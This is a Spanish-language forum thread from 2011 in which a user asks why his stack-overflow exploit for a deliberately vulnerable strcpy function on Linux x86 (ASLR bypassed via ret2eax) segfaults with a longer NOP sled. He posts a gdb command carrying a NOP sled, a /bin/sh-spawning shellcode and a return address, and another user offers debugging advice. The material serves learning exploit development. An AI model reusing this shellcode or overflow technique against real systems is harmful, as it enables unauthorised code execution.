Jugando con payloads en explotacion de software

Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos

Moderador: Moderadores

Jugando con payloads en explotacion de software

Notapor vlan7 » Dom May 08, 2011 9:48 pm

Buenas,

Tengo un escenario Linux x86 con ASLR, y el ASLR lo evado mediante un ret2eax. Estoy experimentando varios payloads (@RET apunta siempre justo al principio del buffer):

[shellcode 28][relleno 236] [@RET] -> OK
hasta
[NOP-sled 224][shellcode 28][relleno 12] [@RET] -> OK
[NOP-sled 225][shellcode 28][relleno 11] [@RET] -> Segmentation Fault

¿Alguien podría explicar este comportamiento? ¿Por qué se necesitan al menos 12 bytes de espacio entre shellcode y @RET?

La parte de código vulnerable:

Código: Seleccionar todo
char *vuln(char *str) {
  char *ptr, buf[256];
  ptr = strcpy(buf, str);  /* overflow */
  return ptr;  /* infoleak */
}


Venga, un saludo.

P.D. Por si a alguien le interesa tengo un video hecho sobre esto en http://www.youtube.com/watch?v=JbCeej1dxHk pero claro, eso de los 12 bytes como minimo es mas que nada una curiosidad.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Jugando con payloads en explotacion de software

Notapor TuXeD » Mié May 11, 2011 2:50 pm

Quizas un desensamblado de tu binario y un dump de cuando falla vendria bien para ver que es lo que pasa.

Que tipo de segfault da? En que direccion, que instruccion hay en dicha direccion (si es q es valida), que valores tienen los registros... puede ser algun tipo de alineamiento o algo que pase entre tu escritura usando dichos datos.

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Jugando con payloads en explotacion de software

Notapor vlan7 » Vie May 13, 2011 2:42 am

Hola,

Por si acaso la respuesta era obvia y yo no la veía no quise hacer demasiado grande el mensaje. Pongo más datos.

El segfault da a cada ejecución en una dirección de memoria distinta, por ejemplo con un payload así:

Código: Seleccionar todo
(gdb) r $(perl -e 'print "\x90"x236,"\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80","\x3b\x85\x04\x08"')
Program received signal SIGSEGV, Segmentation fault.
0xbfc0a3c0 in ?? ()


Si miro lo que hay en esa dirección hay basura (si lo estoy haciendo bien), aunque accesible, por lo que deduzco que estoy en alguna zona de mi programa ¿no?

Código: Seleccionar todo
(gdb) x/b 0xbfc0a3c0
0xbfc0a3c0:      "�k\200���~�"


El contenido varía a cada ejecución.

Adjunto un desensamblado de la función vulnerable:

Código: Seleccionar todo
(gdb) disas ret2eax
Dump of assembler code for function ret2eax:
0x08048424 <ret2eax+0>: push   %ebp
0x08048425 <ret2eax+1>: mov    %esp,%ebp
0x08048427 <ret2eax+3>: sub    $0x118,%esp
0x0804842d <ret2eax+9>: mov    0x8(%ebp),%eax
0x08048430 <ret2eax+12>:        mov    %eax,0x4(%esp)
0x08048434 <ret2eax+16>:        lea    -0x104(%ebp),%eax
0x0804843a <ret2eax+22>:        mov    %eax,(%esp)
0x0804843d <ret2eax+25>:        call   0x8048340 <[email protected]>
0x08048442 <ret2eax+30>:        mov    %eax,-0x4(%ebp)
0x08048445 <ret2eax+33>:        mov    -0x4(%ebp),%eax
0x08048448 <ret2eax+36>:        leave
0x08048449 <ret2eax+37>:        ret
End of assembler dump.


Sobre hacer un volcado del binario cuando falla, esto es lo que hago en gdb:

Código: Seleccionar todo
dump binary memory dump.tmp 0xbfc0a3c0 0xbfc0ffff


Pero luego no se que hacer con ese archivo (reconozco no haber usado nunca esa opción de gdb).

Un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Jugando con payloads en explotacion de software

Notapor TuXeD » Sab May 14, 2011 6:19 pm

Jeje, con ese comando has dumpeado la memoria. Pero tampoco nos sirve de mucho... deberia haber sido mas claro en el post anterior :oops:.

Creo que lo mejor es que traces que es lo que pasa tras el strcpy. Pon un breakpoint en la instruccion siguiente, y ve mirando donde falla exactamente. Es posible que esos 12 bytes de 'relleno' se usen para algo, y por ello acaba petando.

Usa el comando display/i $eip , luego b *0x08048442 , luego step varias veces hasta que pete. Con display/i $eip lo que consigues es que a cada step te vaya sacando la instruccion que hay en el sitio donde apunta eip, modo traza de lo que esta pasando. Asi sabremos que es lo que va ejecutando el procesador y a ver si vemos que es lo que pasa exactamente.

SAludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Jugando con payloads en explotacion de software

Notapor vlan7 » Lun May 23, 2011 3:54 am

Ey TuXeD, no pienses que paso del tema, es que he estado de viaje (obligaciones del estado jeje) y no he podido retomar el asunto. En breve respondere con lo que saque en claro.

Un saludo wadalbertitas!
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP


Volver a Programación

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 2 invitados